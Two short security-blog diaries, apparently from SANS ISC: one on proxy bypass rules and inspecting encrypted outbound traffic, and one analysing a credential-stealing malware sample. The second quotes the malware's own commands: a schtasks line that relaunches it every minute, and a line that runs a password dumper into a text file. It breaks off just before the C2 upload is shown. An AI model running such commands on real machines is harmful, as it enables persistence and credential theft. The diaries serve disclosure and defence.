Last Updated: 2017-03-20 11:57:06 UTC
by Richard Porter (Version: 1)
An observation from the road, was with a client recently and the discussion of proxy entered into the conversation. Now before we get all “Political” and start dropping packet bombs, a technical challenge came up that made me really think.
- What traffic is ‘really’ hitting the proxy?
- How many proxy ‘bypass’ rules are in place?
- Are you inspecting Encrypted Traffic?
- Who/What is in the Encryption Inspection Bypass list?
Google recently released some numbers on encrypted traffic and we are WELL past the 50% mark   . With the ease of getting signed certificates through organizations like Letsencrypt and the high level of privacy concerns in the world, it only makes sense .
The observation, proxy was politically driven, senior management did not have the right business understanding of what a proxy does. Further, the word “proxy” had become and abstract term for the concept of filtering, blocking, and proxy. This made it hard when ‘vendor’ uses industry language and organization says “yes, we understand that is what’s REALLY going on but please say proxy for that with management.”
Now to the discovery portion of our diary, how long has it been since you have looked at what is actually flowing out of your environment? Yes yes.. we know that ‘everything’ runs over ports 80 or 443, but after taking a look at my own environment? A little bit more of non 80/443tcp traffic was leaving that expected (and that was even with the cynical pre-disposition).
With a greater than 50% of traffic being encrypted it is clear that the topic of decryption needs to be revisited. Along with that, what is actually being picked up outbound and what is not hitting the known exit points (e.g. is it really going over 443?).
--- ISC Handler on Duty
Last Updated: 2017-03-08 07:20:42 UTC
by Xavier Mertens (Version: 1)
Everyday we hear about new pieces of malware which implement new techniques to hide themselves and defeat analysts. But they are still people who write simple code that just "do the job". The sample that I’m reviewing today had a very short lifetime because it was quickly detected by most antivirus. Its purpose is to steal information from the infected computers like credentials. When the sample was submitted for the first time to VT, it reached a score of 11/59 which is not bad. Today, its score is 44/59.
Amongst actions like copying itself to C:\Users\%USER%\Temp\Skype\chrome.exe. It checks the victim’s computer location via hxxp://ip-score.com/checkip/ and collects information about the victim. Then the malware creates a scheduled task to execute itself every minute:
C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn "MOCLXG" /tr C:\DOCUME~1\Xavier\LOCALS~1\Temp\Skype\chrome.exe /sc minute /mo 1
The way it steals information from the victim in interesting in this case. People are often lazy so why reinvent the wheel? There already exists tools to collect credentials from applications like browsers, email clients, …
The PE file is dropped on the file system, executed and the output is saved in a temporary file:
C:\WINDOWS\system32\cmd.exe /c Pl2.exe -f "Pl2.txt"
It captures passwords from well-known applications. Once completed, results are sent to the C2:
ISC Handler - Freelance Security Consultant